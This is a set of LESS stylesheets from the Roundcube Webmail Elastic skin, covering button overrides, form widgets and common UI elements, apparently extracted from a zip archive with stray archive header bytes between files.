                content: @fa-var-pen;
            }
        }

        .inner {
            display: none;
        }
    }
}

/*** Bootstrap button style overrides ***/

.btn {
    &:focus {
        box-shadow: 0 0 0 .2rem fade(@color-btn-primary-background, 30%);
    }
}

.btn-link {
    color: @color-link;
}

.btn-secondary {
    color: @color-btn-secondary;
    background: @color-btn-secondary-background;
    border-color: @color-btn-secondary-background;

    &:focus {
        background: darken(@color-btn-secondary-background, 5%);
        border-color: darken(@color-btn-secondary-background, 7%);
        box-shadow: 0 0 0 .2rem fade(@color-btn-secondary-background, 50%);
    }

    &:hover {
        background: darken(@color-btn-secondary-background, 5%);
        border-color: darken(@color-btn-secondary-background, 7%);
    }

    &.disabled,
    &:disabled {
        background: @color-btn-secondary-background;
        border-color: @color-btn-secondary-background;
    }

    &:not(:disabled):not(.disabled) {
        &:active,
        &.active {
            background: darken(@color-btn-secondary-background, 10%);
            border-color: darken(@color-btn-secondary-background, 12%);

            &:focus {
                box-shadow: 0 0 0 .2rem fade(@color-btn-secondary-background, 53%);
            }
        }
    }
}

.btn-primary {
    color: @color-btn-primary;
    background: @color-btn-primary-background;
    border-color: @color-btn-primary-background;

    &:focus {
        background: darken(@color-btn-primary-background, 5%);
        border-color: darken(@color-btn-primary-background, 7%);
        box-shadow: 0 0 0 .2rem fade(@color-btn-primary-background, 50%);
    }

    &:hover {
        background: darken(@color-btn-primary-background, 5%);
        border-color: darken(@color-btn-primary-background, 7%);
    }

    &.disabled,
    &:disabled {
        background: @color-btn-primary-background;
        border-color: @color-btn-primary-background;
    }

    &:not(:disabled):not(.disabled) {
        &:active,
        &.active {
            background: darken(@color-btn-primary-background, 10%);
            border-color: darken(@color-btn-primary-background, 12%);

            &:focus {
                box-shadow: 0 0 0 .2rem fade(@color-btn-primary-background, 53%);
            }
        }
    }
}

.btn-danger {
    color: @color-btn-danger;
    background: @color-btn-danger-background;
    border-color: @color-btn-danger-background;

    &:focus {
        background: darken(@color-btn-danger-background, 5%);
        border-color: darken(@color-btn-danger-background, 7%);
        box-shadow: 0 0 0 .2rem fade(@color-btn-danger-background, 50%);
    }

    &:hover {
        background: darken(@color-btn-danger-background, 5%);
        border-color: darken(@color-btn-danger-background, 7%);
    }

    &.disabled,
    &:disabled {
        background: @color-btn-danger-background;
        border-color: @color-btn-danger-background;
    }

    &:not(:disabled):not(.disabled) {
        &:active,
        &.active {
            background: darken(@color-btn-danger-background, 10%);
            border-color: darken(@color-btn-danger-background, 12%);

            &:focus {
                box-shadow: 0 0 0 .2rem fade(@color-btn-danger-background, 53%);
            }
        }
    }
}
PKh�\"u 
JuJu'skins/elastic/styles/widgets/forms.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

/*** Common form elements ***/

#uploadform {
    display: none;
}

form.smart-upload,
input.smart-upload {
    visibility: hidden;
    width: 1px;
    height: 1px;
    opacity: 0;
}


.propform {
    // TODO: do we need this?
    &:not(.popupmenu) {
        width: 100%;
    }

    // This is the way we can have multiple checkboxes in a single form field
    .form-check td:not(.title) > label {
        display: block;
        margin: 0;
        line-height: 2rem;

        label {
            margin-right: .5rem;
        }
    }

    td.datetime {
        display: flex;

        input:first-child {
            margin-right: .5rem;
        }
        input:last-child {
            width: 75%;
        }
    }

    td.rowbuttons {
        width: 1%;
        white-space: nowrap;
        vertical-align: top;

        span {
            display: none;
        }

        a {
            padding: 0;
            line-height: 2.3rem;
            height: 2.3rem;
            font-size: 1rem;

            &:before {
                &:extend(.font-icon-class);
                content: @fa-var-plus;
                vertical-align: unset;

                @media screen and (min-width: (@screen-width-bs-phone + 1px)) {
                    margin: 0 !important;
                }
            }

            &.delete:before {
                content: @fa-var-trash-alt;
            }

            &.advanced:before {
                content: @fa-var-cog;
            }

            &:not(:last-child) {
                margin-right: .25rem;
            }
        }
    }

    td.rowactions {
        width: 1%;
        vertical-align: top;

        .form-control {
            width: auto;
        }
    }

    td.rowtargets {
        vertical-align: top;

        .composite {
            input, textarea, select, .multi-input, .input-group {
                margin-bottom: .5rem;
            }

            .input-group {
                input, textarea, select, .multi-input {
                    margin-bottom: 0;
                }
            }

            br {
                display: block;
            }
        }

        .input-group {
            margin-bottom: .25rem;

            *:first-child.input-group-prepend {
                text-align: left;
                min-width: 7.5em;

                & > * {
                    width: 100%;
                }
            }
        }

        & > .advanced {
            margin-top: .25rem;
        }
    }

    td.title {
        padding-top: 0;
        padding-bottom: 0;
    }

    td > .flexbox {
        display: flex;

        & > .multi-input {
            width: 100%;
            margin-left: .25rem;
        }
    }

    &.grouped {
        &.readonly {
            legend {
                margin: 0;
            }

            .row.input-group {
                margin-bottom: 0 !important;
            }

            label {
                min-width: 7rem;
                // Overwrite Bootstrap .input-group-* style to make the label transparent
                background-color: transparent;
                border: 0;
                border-radius: 0;
            }
        }

        .row.input-group {
            margin-bottom: .5rem;
            flex-wrap: nowrap;

            & > *:first-child {
                .overflow-ellipsis();
                min-width: 8rem;

                &:not(select) {
                    padding: 0;
                }

                @media screen and (max-width: @screen-width-xs) {
                    min-width: 6rem;
                    width: 6rem;
                    flex-grow: unset;
                }

                label {
                    width: 100%;
                }
            }

            & > *:nth-child(2) {
                flex-grow: 30;
            }

            &:last-child {
                margin-bottom: 1rem;
            }

            select {
                text-align: left;
            }

            &.composite select {
                height: auto;
            }

            .content {
                padding: 0;
                display: flex;
                flex-wrap: wrap;
                border-radius: 0;
                border-left-color: transparent;

                input {
                    border-radius: 0;
                    border-color: transparent;
                }

                .ff_street {
                    width: 100%;
                }

                .ff_locality {
                    width: 75%;
                }

                .ff_zipcode {
                    width: 25%;
                }

                .ff_country, .ff_region {
                    width: 50%;
                }
            }
        }

        .form-control-plaintext {
            flex-grow: 1;
            border: 0;
        }
    }

    .addfield {
        margin: 0;

        select {
            width: 8rem;
            margin-top: .5rem;
        }
    }

    .form-text {
        font-size: 90%;
        color: @color-form-hint;
    }

    // Some dialogs may use simple one-row forms like this
    &.row.form-group {
        margin-left: 0;
        margin-right: 0;

        label, div {
            padding-left: 0;
            padding-right: 0;
        }
    }

    // Some forms may use multiple elements that are not part of .input-group
    // add proper spacing
    select + select,
    select + .input-group {
        padding-top: .5rem;
    }

    &.text-only {
        margin-bottom: .25rem;

        tr {
            margin: 0;
        }

        label {
            padding-bottom: 0 !important;
        }

        @media screen and (max-width: @screen-width-bs-phone) {
            tr {
                display: table-row;
            }

            td {
                width: auto;

                &:first-child {
                    width: 33%;
                }
            }

            :not(tr).form-group.row {
                .col-form-label {
                    width: 33%;
                }

                & > :last-child {
                    width: 67%;
                }
            }
        }
    }
}

@media screen and (max-width: @screen-width-bs-phone) {
    .propform {
        table.compact-table {
            .rowactions > select,
            .flexbox > select {
                width: 100%;
            }

            tr {
                display: flex;
                flex-direction: column;

                td {
                    width: 100%;
                    padding: .25rem 0 0 0;

                    &.rowbuttons {
                        text-align: right;
                        padding-top: 0;

                        a {
                            margin-left: .5rem;

                            & > span {
                                display: inline;
                            }
                        }
                    }
                }
            }
        }
    }
}

.propform,
.formcontent {
    fieldset:not(.tab-pane):nth-of-type(n+2) {
        margin-top: 1em;
    }

    legend {
        font-weight: bold;
        font-size: 1.2em;
    }

    label {
        -webkit-hyphens: auto;
        -ms-hyphens: auto;
        hyphens: auto;
        overflow: hidden;
        margin-bottom: 0;
    }
}

fieldset.advanced {
    > legend {
        width: auto;
        cursor: pointer;

        &:after {
            &:extend(.font-icon-class);
            float: right;
            margin: 0 0 0 .25rem;
            line-height: inherit;
            font-size: inherit;
            content: @fa-var-angle-up;
        }

        &.closed:after {
            content: @fa-var-angle-down;
        }
    }
}

@media screen and (max-width: @screen-width-bs-phone) {
    .formcontent .text-only {
        .form-group:not(tr) {
            margin-bottom: .25rem;

            .col-form-label {
                width: 33%;

                & + span {
                    width: 67%;
                }
            }
        }
    }

    html.iframe .formcontent > .propform {
        padding: .25rem;
    }
}

// Forms fixes for IE and Edge
html.ms .propform {
    .row:not(.form-check) > td {
        display: flex;
        flex-wrap: wrap; // puts "hint" element below the input
    }
    @media screen and (min-width: @screen-width-bs-phone) {
        .row.form-check > td {
            display: flex;
        }
    }
}


.formcontainer {
    display: flex;
    flex-direction: column;
    justify-content:flex-start;
    overflow-y: hidden !important;

    .formcontent {
        overflow-x: hidden;
        overflow-y: auto;
    }

    .formbuttons {
        padding: 0.5rem 1rem;

        button {
            margin-right: .5rem;
        }
    }

    // Prevent button truncation on tablets
    html.iframe.ipad &,
    html.iframe.webkit.tablet & {
        .formbuttons {
            min-height: 4rem;
        }
    }

    // We don't need buttons element on small devices, nor flex display
    html.layout-small &,
    html.layout-phone & {
        display: initial;
        overflow-y: auto !important;

        .formcontent {
            overflow: initial !important;
        }

        .formbuttons {
            display: none;
        }
    }
}


.formcontent {
    &:not(.popupmenu) {
        padding: 1rem;
    }

    .row {
        margin-right: 0; // without these the form is too wide causing horizontal scrollbar appearance
        margin-left: 0;

        // Note: We never use odd numbers here
        .col, .col-2, .col-4, .col-6, .col-8, .col-10, .col-12,
        .col-sm, .col-sm-2, .col-sm-4, .col-sm-6, .col-sm-8, .col-sm-10, .col-sm-12 {
            // overwrite Bootstrap's redundant padding
            padding: 0;
        }

        .form-control-plaintext,
        label.col-form-label {
            padding: floor(.375 * @page-font-size) floor(.375 * @page-font-size) floor(.375 * @page-font-size) 0;
        }

        .form-control-plaintext {
            padding-bottom: 0;
            border: 0;
        }

        @media screen and (max-width: @screen-width-bs-phone) {
            &.form-group {
                & > td label {
                    padding-bottom: 0;
                }
            }
        }
    }

    .row.form-check {
        padding: 0; // without these e.g. inputs in compose screen are not aligned properly
        display: flex; // https://github.com/twbs/bootstrap/issues/22348
        flex-wrap: nowrap;

        // alignment fixes needed because we do not stick precisely to Bootstrap's form structure
        @media screen and (max-width: @screen-width-bs-phone) {
            .col-6 {
                max-width: 100%;
                flex: auto;
            }

            & > *:last-child {
                width: 1%;
                min-width: 2.6rem; // for .custom-switch
            }

            &.with-link > *:last-child {
                min-width: 8rem;
            }
        }

        .form-check-input {
            margin: .5rem 0; // fixes checkbox alignment with other inputs in a form
        }

        .custom-switch + a {
            line-height: 2;
            vertical-align: bottom;
        }

        td > label {
            padding-bottom: 0;
        }
    }

    .nav-tabs {
        margin-bottom: 1rem;

        &:empty {
            display: none;
        }
    }

    .hint {
        font-style: italic;
        color: @color-form-hint;
    }

    // RAW (CodeMirror) editor
    &.raweditor {
        height: 100%;

        form {
            height: 100%;
        }

        textarea {
            font-family: monospace;
            height: 100%;
        }

        .CodeMirror {
            border: 1px solid @color-input-border;
            border-radius: .3rem;
            height: 100%;
            color: @color-font;
        }

        .CodeMirror-focused {
            border-color: @color-input-border-focus;
            box-shadow: 0 0 0 .2rem @color-input-border-focus-shadow;
        }

        .CodeMirror-linebackground.line-error {
            background-color: @color-error;
            opacity: 0.4;
        }

        .errorGutter {
            width: .8em;
        }
    }
}

@media screen and (max-width: @screen-width-mini) {
    .formcontent {
        .col-form-label {
            flex: auto;
            max-width: 100%;
        }
        .col-6, .col-8, .col-10 {
            flex: auto;
            max-width: 100%;
        }
    }
}


/* Some common icons for "iconized inputs" */
.input-group .icon {
    text-decoration: none;
    padding: floor(.375 * @page-font-size) .5rem;

    &.input-group-text {
        min-width: 2.4rem;
    }

    &:before {
        &:extend(.font-icon-class);
        margin: 0 !important;
        line-height: 1;
        font-size: 1.1rem;
    }
    &.user:before {
        content: @fa-var-user;
    }
    &.pass:before {
        content: @fa-var-lock;
    }
    &.host:before {
        content: @fa-var-home;
    }
    &.language:before {
        content: @fa-var-globe;
    }
    &.cancel:before {
        content: @fa-var-times;
    }
    &.delete:before {
        content: @fa-var-trash-alt;
    }
    &.edit:before {
        content: @fa-var-pencil-alt;
    }
    &.add:before {
        content: @fa-var-plus;
    }
    &.add.recipient:before {
        content: @fa-var-users;
    }
    &.search:before {
        content: @fa-var-search;
    }
    &.filter:before {
        content: @fa-var-filter;
    }
    &.key:before {
        content: @fa-var-key;
    }

    .inner {
        display: none;
    }
}

.input-group a {
    &:focus {
        background-color: @color-input-border-focus-shadow;
        outline: 0;
    }
}

@proplist-record-height: 2rem;
.proplist {
    margin-bottom: 0;
    padding: 0;

    li {
        list-style-type: none;
        line-height: @proplist-record-height;
        margin-bottom: .25rem;
        display: flex;
        align-items: center;

        &:last-child {
            margin-bottom: 0;
        }

        input[type=radio] {
            margin-right: .5em;

            &:disabled + label {
                opacity: .5;
            }
        }

        label:not(.input-group-text) {
            margin: 0;
            line-height: @proplist-record-height;
        }

        select {
            width: auto;
            display: inline;
        }

        &.with-sublist {
            flex-wrap: wrap;
            position: relative;

            & > :first-child {
                width: 100%;
                margin-right: 2em;
            }

            & > .proplist {
                margin-left: 2.5rem;
            }

            & > a.dropdown {
                position: absolute;
                right: 0;
                top: 0;
                height: 2em;
                color: @color-font;
            }
        }
    }
}

.checklist {
    & > div {
        line-height: 2rem;
        display: block; // overwrite .custom-switch
    }

    .custom-control-label {
        &:before,
        &:after {
            margin: calc(floor(.15 * @page-font-size) * -1) 0 0 0;
        }
    }

    & > div + br {
        display: none;
    }
}

/*** Forms in popups ***/

.popup form.propform {
    padding: .25rem;
    overflow-x: hidden;
}

.popupmenu.form {
    &.nolist {
        padding: 0 .5rem;
    }

    ul {
        list-style-type: none;
        padding: 0;
        margin: 0;
    }

    li:not(.separator) {
        padding: 0 1rem;

        label {
            margin: 0;
            line-height: @listing-line-height;

            input {
                margin-right: .5rem;
            }
        }
    }

    input {
        vertical-align: middle;
    }

    select {
        margin: .5rem 0;
    }

    .buttons {
        text-align: center;
        padding: .5rem;
    }
}


/*** Smart list (multiple input) field ***/

.multi-input {
    & > .content {
        max-height: 11.65em;
        overflow: hidden;
        overflow-y: auto;
        border-radius: .25rem;
        border: 1px solid @color-input-border;

        &.focused {
            .style-input-focus();
        }

        // TODO: style button focus
    }

    a.icon {
        &.reset:before {
            &:extend(.font-icon-class);
            content: @fa-var-trash-alt;
        }
    }

    input.form-control {
        padding-left: .75rem;
        height: auto; // fixes input height
    }

    input,
    input:focus,
    .input-group-text {
        border-radius: 0;
        border: 0;
        border-bottom: 1px solid @color-input-border;
        box-shadow: none;
    }

    .input-group-text {
        border-left: 1px solid @color-input-border;
    }

    .input-group-append {
        margin-left: 0;
    }

    .input-group {
        margin: 0 !important;
        flex-wrap: nowrap; // Bootstrap makes them wrappable (imho)

        &:last-child * {
            border-bottom: 0;
        }
    }

    & + .btn {
        margin-top: .5rem;
    }

    &.is-invalid {
        & > .content {
            border: 1px solid @color-input-border-invalid;
            &.focused {
                border-color: @color-input-border-invalid;
                box-shadow: 0 0 0 .2rem @color-input-border-invalid-shadow;
            }
        }

        & > .invalid-feedback {
            display: inline-block;
            line-height: 1.5;
        }
    }
}


/*** Files upload widget with list of files, upload form and drop area ***/

.file-upload {
    padding: 1rem 1rem 12rem;
    margin: 0 1rem .25rem 1rem;
    border-radius: .5rem;
    border: .2rem dashed @color-table-border;

    fieldset & {
        margin: 0;
    }

    .upload-form {
        text-align: center;
        padding-bottom: 1em;

        a.btn,
        button {
            margin-bottom: .25rem;
        }
    }

   .hint {
        margin-bottom: .5rem;
        color: @color-form-hint;
        text-align: center;
    }

    .attachmentslist {
        border: 0;
        background: transparent;

        li {
            position: relative;
            display: flex;
            padding-right: 1.5em;
            margin: 0.15em 0;

            a.filename {
                flex: 1;
            }

            a.delete,
            a.cancelupload {
                position: absolute;
                right: 0.25em;
                width: auto; // fix button width if the widget is in a .popupmenu
            }

            a.dropdown {
                margin-right: .5em;
            }

            .inner {
                display: none;
            }
        }
    }

    &.droptarget {
        padding-bottom: .5rem !important;

        &:after {
            content: @icon-file-drop;
            width: 10rem;
            margin: 5rem auto 0 auto;
            display: block;
        }

        &.active {
            border-color: darken(@color-toolbar-button-background-hover, 20%);
        }

        &.hover {
            border-color: darken(@color-toolbar-button-background-hover, 20%);
            background-color: @color-toolbar-button-background-hover;
        }
    }
}


/*** Smart recipient input field ***/

@recipient-input-margin-fix: round(.25 * @page-font-size);

.recipient-input {
    display: flex;
    flex-wrap: wrap;
    padding: 0 .75rem @recipient-input-margin-fix .75rem;
    list-style-type: none;
    cursor: text;
    height: auto; // reset .form-control height

    &.focus {
        .style-input-focus();
    }

    li {
        max-width: 100%;

        &:not(.recipient) {
            user-select: text;
        }

        &.input {
            flex: 1;
            min-width: 100px;
        }
    }

    input {
        width: 100%;
        background: transparent !important;
        border: 0 !important;
        margin-top: @recipient-input-margin-fix;
        outline: 0;
        line-height: 1.5;

        &::-ms-clear {
            display: none; // removes clear icon in IE11
        }
    }
}

.recipient-input li.recipient,
body > li.recipient.ui-sortable-helper {
    display: flex;
    position: relative;
    max-width: ~"calc(50% - 3px)";
    border: 1px solid @color-recipient-input-border;
    background-color: @color-recipient-input-background;
    border-radius: .25rem;
    padding: 0 .25rem;
    margin-top: @recipient-input-margin-fix;
    margin-right: .2em;
    white-space: nowrap;
    cursor: default;

    @media screen and (max-width: 450px) {
        width: 100%;
        max-width: 100%;
    }

    .name {
        .overflow-ellipsis();
        flex-grow: 1;
        line-height: 1.1;
        padding: floor(.25 * @page-font-size);
        vertical-align: middle;
    }

    .email {
        text-indent: -5000rem;
        display: inline-block;
        width: 0;
    }

    .quotes {
        position: absolute;
        width: 0;
        opacity: 0;
    }

    a.button.icon {
        font-size: .75em;
        cursor: pointer;
        padding: 0;
        color: @color-font;

        &:before {
            display: inline-block;
            width: 1em;
            line-height: 1.6;
        }
    }

    &.ui-sortable-helper {
        // fix element width while dragging
        padding: 0 0 0 .25rem !important;
    }
}

/*** Tagedit widget (from jqueryui plugin) ***/

.tagedit-list {
    display: flex;
    flex-wrap: wrap;
    padding: 0 .75rem @recipient-input-margin-fix .75rem;
    margin: 0;
    list-style-type: none;
    min-height: 2.3rem;

    & + .placeholder {
        display: none;
    }

    &[tabindex="-1"] {
        .style-input-focus();
    }

    li.tagedit-listelement-new {
        margin-top: @recipient-input-margin-fix;

        input {
            width: 15px;
            background: transparent !important;
            border: 0;
            outline: 0;
            margin: 0;
            padding: 0;
            line-height: 1.5;

            &.tagedit-input-disabled {
                visibility: hidden;
            }
        }
    }

    li.tagedit-listelement-old {
        max-width: 50%;
        border: 1px solid @color-recipient-input-border;
        background-color: @color-recipient-input-background;
        border-radius: .25em;
        margin-top: @recipient-input-margin-fix;
        margin-right: .2em;
        white-space: nowrap;

        a /* TODO: .tagedit-close, .tagedit-break, .tagedit-delete, .tagedit-save */ {
            font-size: .8em;
            cursor: pointer;
            display: inline-block;
            width: 1.1em;
            overflow: hidden;
            vertical-align: middle;
            margin-right: .2rem;

            &:before {
                &:extend(.font-icon-class);
                content: @fa-var-times;
                width: 1em;
                line-height: 1.2;
            }
        }

        span {
            .overflow-ellipsis();
            flex-grow: 1;
            display: inline-block;
            line-height: 1.4;
            padding: 0 .25rem;
            vertical-align: middle;
        }
    }

    li.tagedit-listelement-focus {
        // TODO
    }
}


/*** Skin selection widget ***/

.skinselection {
    white-space: nowrap;
    display: table-row;

    & > span {
        display: table-cell;
        vertical-align: middle;
        padding: .1em .5em;
        white-space: normal;

        &:last-child {
            padding-right: 0;
        }
    }

    .skinitem input {
        width: auto;
    }

    .skinname {
        font-weight: bold;
    }

    .skinlicense,
    .skinlicense a {
        font-style: italic;
        text-decoration: none;
    }

    .skinlicense a:hover {
        text-decoration: underline;
    }

    .skinlicense,
    .skinauthor {
        font-size: 90%;
    }

    .skinthumbnail {
        width: 64px;
        height: 64px;
        border: 1px solid @color-input-border;
        background: #fff;
        border-radius: 4px;
    }
}

/*** Percent input with jQuery-UI slider ***/

// Structure: <input><span.label><div.ui-slider>
.input-percent-slider {
    display: flex;
    align-items: center;

    input {
        max-width: 4em;
    }

    span.label {
        line-height: 2.4;
        padding: 0 .5rem 0 .25rem;
    }

    div.ui-slider {
        flex: 1;
        margin: 0 .5em;
    }
}


/*** Image upload widget ***/

.image-upload {
    position: relative;
    overflow: hidden;
    cursor: pointer;
    background-color: @color-image-upload-background;

    a.button {
        display: none;
        position: absolute;
        left: 0;
        top: 0;
        background-color: rgba(255, 255, 255, .85);
        border-radius: 5px;
        width: 2.5em;
        padding: .5em;
        margin: .5em;
        line-height: 1;
    }

    &.changed a.button {
        display: inline;
    }
}

.input-group-combo {
    select:first-of-type {
        &.alone {
            border-radius: .25rem !important;
        }

        &:not(.alone) {
            flex: unset;
            width: auto;
        }
    }

    .input-group {
        padding: 0 !important;
        flex: 2;
    }

    select + select,
    .input-group :first-child {
        border-top-left-radius: 0;
        border-bottom-left-radius: 0;
    }
}


/*** General browser hacks ***/

// Remove outline on selects in Firefox
@-moz-document url-prefix() {
    select:-moz-focusring {
       color: transparent !important;
       text-shadow: 0 0 0 @color-font !important;
    }
}


/*** Bootstrap style overrides and improvements ***/

.form-control {
    color: @color-font;

    &:focus {
        color: @color-font;
        border-color: @color-input-border-focus;
        box-shadow: 0 0 0 .2rem @color-input-border-focus-shadow;
    }

    // FIXME: This fixes style of required inputs in Firefox/Edge, but
    // makes inputs on login form red-bordered, commented for now
    // &:invalid,
    &.is-invalid {
        border-color: @color-input-border-invalid;
        box-shadow: none;

        &:focus {
            border-color: @color-input-border-invalid;
            box-shadow: 0 0 0 .2rem @color-input-border-invalid-shadow;
        }
    }

    &::placeholder {
        color: @color-input-placeholder;
    }

    // Note: This must be a separate rule
    &::-ms-input-placeholder,
    &::-webkit-input-placeholder {
        color: @color-input-placeholder;
    }
}

.invalid-feedback {
    color: @color-error;
    font-size: 90%;
}

.form-group {
    margin-bottom: .5rem;
}

// This one is to fix height of an input-group child that usually we put
// in between inputs, e.g. in managesieve forms it is '@' in email input
// with a separate local part and domain selector.
.input-group-append.input-group-prepend {
    display: inline;
}

.input-group-text {
    color: @color-input;
    background-color: @color-input-addon-background;

    input:focus {
        z-index: 1;
        border-color: @color-input-border-focus !important;
    }
}

.custom-switch {
    padding-left: 0;
    display: inline-block;

    .custom-control-input {
        left: 0;
        opacity: 0 !important; // fixes input in dark mode

        &:focus ~ .custom-control-label:before {
            box-shadow: 0 0 0 .2rem @color-checkbox-focus-shadow;
        }

        &:focus:not(:checked) ~ .custom-control-label::before {
            border-color: @color-checkbox-focus;
        }

        &:checked ~ .custom-control-label::before {
            border-color: @color-checkbox;
            background-color: @color-checkbox;
        }

        &:checked:disabled ~ .custom-control-label::before {
            border-color: @color-checkbox-checked-disabled;
            background-color: @color-checkbox-checked-disabled;
        }
    }

    // Make switches bigger, we use smaller font than Bootstrap's default

    .custom-control-label {
        padding-left: 2.5rem;
        min-height: 2rem;
        line-height: 2;
        display: inline-block;

        html.touch & {
            padding-left: 3rem;
        }

        &:before,
        &:after {
            border-radius: .6rem;
            margin: floor(.15 * @page-font-size) 0;

            html.touch & {
                border-radius: .8rem;
                margin: 0;
            }
        }

        &:before {
            left: 2px;
            top: 4px;
            width: floor(1.9 * @page-font-size);
            height: floor(1.2 * @page-font-size);

            html.touch & {
                top: floor(.2 * @page-font-size);
                width: floor(2.5 * @page-font-size);
                height: floor(1.6 * @page-font-size);
            }
        }

        &:after {
            left: 4px;
            top: 6px;
            width: floor(1.2 * @page-font-size) - 4;
            height: floor(1.2 * @page-font-size) - 4;

            html.touch & {
                top: floor(.2 * @page-font-size) + 2;
                height: floor(1.6 * @page-font-size) - 4;
                width: floor(1.6 * @page-font-size) - 4;
            }
        }
    }

    .custom-control-input:checked ~ .custom-control-label::after {
        transform: translateX(floor(1.2 * @page-font-size) - 6);

        html.touch & {
            transform: translateX(floor(1.6 * @page-font-size) - 9);
        }
    }

    .custom-control-input:not(:disabled) ~ .custom-control-label {
        &:after, &:before {
            cursor: pointer;
        }
    }
}

.custom-file {
    display: block;

    .custom-file-label {
        white-space: nowrap;
        .overflow-ellipsis();
        padding-right: 100px;
    }

    & + .hint {
        margin-top: floor(.25 * @page-font-size);
    }
}

.custom-file-input:focus ~ .custom-file-label {
    border-color: @color-input-border-focus;
    box-shadow: 0 0 0 .2rem @color-input-border-focus-shadow;
}
PKh�\3���+�+(skins/elastic/styles/widgets/common.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

/*** Common UI elements ***/

.rcmaddcontact,
.hidden,
.voice {
    display: none !important;
}

font.bold {
    font-weight: bold;
}

#rcmdraglayer {
    min-width: 260px;
    width: 260px;
    background-color: @color-drag-layer-background;
    color: @color-drag-layer;
    box-shadow: 3px 3px 5px @color-drag-layer-shadow;
    border-radius: .3rem;
    z-index: 250;
    opacity: .92;
    padding: .5rem;
    white-space: nowrap;

    div {
        line-height: 1.6em;
        .overflow-ellipsis();
    }
}

.frame-content {
    padding: 1rem;

    h2 {
        font-weight: bold;
        font-size: 1.5em;
    }

    h3 {
        font-weight: bold;
        font-size: 1.25em;
    }
}

.listbox {
    .scroller {
        width: 100%;
        overflow-x: hidden;
        overflow-y: auto;
    }

    .navlist {
        height: 0;
        flex: initial !important;

        .listing {
            tr:last-child td,
            li:last-child {
                border-bottom: 0;
            }
        }
    }

    .popup & {
        height: 100%;
        display: flex;
        flex-direction: column;

        .scroller {
            flex: 1;
        }

        .footer {
            border-top: 1px solid @color-layout-border;
            background-color: @color-searchbar-background;
        }
    }
}

.contact-header {
    display: flex;
    margin-bottom: 1rem;

    .contact-photo {
        min-width: @layout-contact-icon-width;
    }

    .contact-head {
        margin-left: 1rem;
        margin-top: 0 !important;

        legend {
            display: none;
        }
    }
}


@image-attachment-size: 250px;

// this is when image thumbnails are enabled
p.image-attachment {
    position: relative;
    border: 1px solid @color-border;
    border-radius: .3rem;
    background-color: @color-message-background;
    float: left;
    margin: .5rem;
    min-width: 47%;
    min-height: @image-attachment-size;
    overflow: hidden;
    // use flexbox to center the image
    display: flex;
    justify-content: center;

    @media screen and (max-width: @screen-width-xs) {
        float: none;
        margin: .5rem 0 .5rem 0;
    }

    .image-link {
        align-self: center;
        text-align: center;
        margin: 1.6rem .5rem;
    }

    span {
        color: @color-form-hint;
        padding: 0 .5rem;
        font-size: 90%;
        white-space: nowrap;
        position: absolute;
        line-height: 1.5rem;
    }

    .image-filename {
        .overflow-ellipsis();
        left: 0;
        top: 0;
        right: 0;
        padding-right: 4rem;
    }

    .image-filesize {
        right: 0;
        top: 0;
    }

    .attachment-links {
        position: absolute;
        bottom: 0;
        left: 0;
        width: 100%;
        text-align: center;

        a {
            text-decoration: none;
            display: inline-block;
            padding: 0 .5rem;
            line-height: 1.5rem;
        }

        a:before {
            &:extend(.font-icon-class);
            display: inline-block;
        }

        a.open:before {
            content: @fa-var-external-link-square-alt;
        }

        a.download:before {
            content: @fa-var-download;
        }
    }
}

// this is when image thumbnails are disabled
fieldset.image-attachment {
    margin-top: .5rem;

    legend {
        color: @color-form-hint;
        font-size: .9rem;
        border-top: 1px solid lighten(@color-mail-headers, 50%);
        margin: 0;
    }

    img {
        max-width: 100%;
    }
}

#folder-selector {
    overflow-y: auto;
}

.noselect {
    user-select: none;
    -moz-user-select: none;
    -khtml-user-select: none;
    -ms-user-select: none;
    -webkit-user-select: none;
}

.iframe-loader {
    width: 100%;
    position: absolute;
    top: 0;
    bottom: 0;
    background-color: rgba(255, 255, 255, .95);
    display: flex;
    align-items: center;
    justify-content: center;
    z-index: 3;

    .spinner-border {
        width: 7rem;
        height: 7rem;
        color: @color-spinner-circle;
        border: 1rem solid;
        border-color: currentColor @color-spinner-item currentColor currentColor;
    }
}

.footer.toolbar + .iframe-loader {
    top: @layout-header-height;
    bottom: @layout-header-height;
}

// iOS: Fix scrolling of iframe, display scrollbars on scrollable elements
.ios-scroll {
    padding: 0;
    -webkit-overflow-scrolling: touch !important;
    overflow: scroll !important;

    &.iframe-wrapper {
        margin-top: 1px; // FIXME: without this scrolling hides the wrapper neighbours' border
    }
}

.webkit-scroller {
    &::-webkit-scrollbar {
        -webkit-appearance: none;
    }

    &::-webkit-scrollbar:vertical {
        width: .5rem;
    }

    &::-webkit-scrollbar:horizontal {
        height: .5rem;
    }

    &::-webkit-scrollbar-thumb {
        background-color: rgba(0, 0, 0, .3);
        border-radius: .25rem;
        border: 2px solid #fff;
    }
}

.quota-widget {
    width: 100%;
    max-width: 15em;
    padding: .5rem 1rem;
    display: flex;
    align-items: center;
    color: @color-quota-text;

    &:before {
        &:extend(.font-icon-class);
        content: @fa-var-hdd;
        line-height: 1;
    }

    .count {
        font-size: 80%;
        order: 2;
    }

    .bar {
        flex: 1;
        height: .5rem;
        margin: 0 1rem;
        background-color: @color-quota-background;
        border: 1px solid @color-layout-border;
        border-radius: .25rem;
        overflow: hidden;
    }

    .value {
        display: block;
        background-color: @color-quota-value;
        height: 1rem;
        opacity: .75;

        &.warning {
            background-color: @color-quota-value-warning;
        }
    }
}

.image-tools {
    position: absolute;
    top: 5rem;
    left: 0;
    height: @layout-header-height;
    overflow: hidden;
    transform: translateX(-87%);
    transition: transform 0.3s ease-in-out;
    background-color: @color-image-tools-background;
    border-radius: 0 .3rem .3rem 0;

    .menu {
        float: left;
    }

    a.button.icon.tools {
        padding: 0 .25rem;
        display: inline-block;
        height: @layout-header-height;

        span.inner {
            display: none;
        }

        &:before {
            line-height: @layout-header-height;
            margin: 0;
        }
    }

    &.open {
        transform: translateX(0);

        a.button.icon.tools:before {
            content: @fa-var-chevron-left;
        }
    }

    a {
